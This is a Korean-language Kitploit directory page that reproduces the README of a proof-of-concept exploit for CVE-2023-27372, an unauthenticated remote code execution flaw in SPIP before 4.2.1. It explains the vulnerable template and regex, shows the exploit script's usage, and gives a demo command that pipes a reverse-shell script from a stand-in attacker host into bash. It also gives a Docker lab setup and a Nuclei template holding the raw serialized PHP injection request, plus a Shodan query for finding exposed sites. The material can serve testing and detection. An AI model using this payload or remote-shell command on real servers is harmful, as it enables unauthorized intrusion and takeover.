Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-27372 — SPIP 4.2.1 이전 버전에서는 직렬화(serialization) 처리가 잘못되어 공개 영역의 폼(form) 값을 통해 원격 코드 실행(Remote Code Execution)이 가능합니다. 수정된 버전은 3.2.18, 4.0.10, 4.1.8, 4.2.1입니다. | Kitploit
도구/GitHubGitHub/nuts7/cve-2023-27372
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubnuts7/cve-2023-27372

CVE-2023-27372

SPIP 4.2.1 이전 버전에서는 직렬화(serialization) 처리가 잘못되어 공개 영역의 폼(form) 값을 통해 원격 코드 실행(Remote Code Execution)이 가능합니다. 수정된 버전은 3.2.18, 4.0.10, 4.1.8, 4.2.1입니다.

저장소 보기
6981년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

배너


CVE-2023-27372

SPIP 4.2.1 이전 버전에서는 직렬화(serialization)가 잘못 처리되어 공개 영역의 양식 값을 통해 원격 코드 실행이 가능합니다. 수정된 버전은 3.2.18, 4.0.10, 4.1.8 및 4.2.1입니다. 이 PoC는 SPIP의 PHP 코드 삽입을 악용합니다. 이 취약점은 oubli 매개변수에 존재하며, 인증되지 않은 사용자가 웹 사용자 권한으로 임의의 명령을 실행할 수 있게 합니다. 3.2, 4.0, 4.1 및 4.2 브랜치가 영향을 받습니다. 취약한 버전은 <3.2.18, <4.0.10, <4.1.18 및 <4.2.1입니다.

취약점 설명

이 취약점은 PHP 코드를 주입하기 위해 지나치게 허용적인 변수 정화(sanitization) 함수를 악용하는 2가지 버그를 이용합니다:

  • 비밀번호 재설정 기능 템플릿에서 위험한 태그(#ENV**) 사용:
root@kitploit:~
<!-- File : /squelettes-dist/formulaires/oubli.html -->
<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />
  • 직렬화된 문자열에 대해 처리가 수행되지 않기 때문에, protege_champ() 함수에서 잘못된 정규식이 사용됩니다:
root@kitploit:~
<!-- File : /ecrire/balise/formulaire_.php -->
if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
    return $texte; // $texte = $_POST['oubli']

서버에서 RCE를 발생시키기 위해, /spip.php?page=spip_pass 엔드포인트에서 비밀번호를 재설정할 때 $_POST['oubli'] 변수에 PHP 코드가 포함된 직렬화된 PHP 문자열을 주입할 수 있습니다.

수동 예제:

Burp_screenshot

Phpinfo_screenshot

사용법

root@kitploit:~
❯ ./CVE-2023-27372.py -h
usage: CVE-2023-27372.py [-h] -u URL -c COMMAND [-v]

Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     SPIP application base URL
  -c COMMAND, --command COMMAND
                        Command to execute
  -v, --verbose         Verbose mode. (default: False)

데모

root@kitploit:~
./CVE-2023-27372.py -u https://spip.local.com -c 'curl https://attacker.server/revshell.sh|bash' -v

테스트 환경을 어떻게 설정하나요?

Dockerfile:

root@kitploit:~
FROM ubuntu:20.04 as base
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
		php \
		php-xml \
		php-zip \
		php-sqlite3 \
		unzip
ADD https://files.spip.net/spip/archives/spip-v4.2.0.zip /tmp/
RUN unzip /tmp/spip-v4.2.0.zip -d /var/www/
RUN cd /var/www/ && php -S 0.0.0.0:8000

Nuclei 템플릿

Nuclei_screen

root@kitploit:~
id: CVE-2023-27372

info:
  name: SPIP - Remote Command Execution
  author: DhiyaneshDK,nuts7
  severity: critical
  description: |
    SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
  reference:
    - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27372
    - https://github.com/nuts7/CVE-2023-27372
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27372
  metadata:
    max-request: 1
    shodan-query: html:"spip.php?page=backend"
    verified: "true"
  tags: cve,cve2023,spip,rce

http:
  - raw:
      - |
        GET /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "PHP Extension"
          - "PHP Version"
          - "<!DOCTYPE html"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        part: body_1
        regex:
          - "name='formulaire_action_args'[^>]*value='([^']*)'"

      - type: regex
        part: body_2
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'

참조

  • https://nvd.nist.gov/vuln/detail/CVE-2023-27372
  • https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html
  • https://git.spip.net/spip/spip/commit/5aedf49b89415a4df3eb775eee3801a2b4b88266
  • https://git.spip.net/spip/spip/commit/96fbeb38711c6706e62457f2b732a652a04a409d
  • https://www.debian.org/security/2023/dsa-5367
  • http://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
  • https://therealcoiffeur.com/c11010
  • https://github.com/rapid7/metasploit-framework/pull/17711/files
도구 다운로드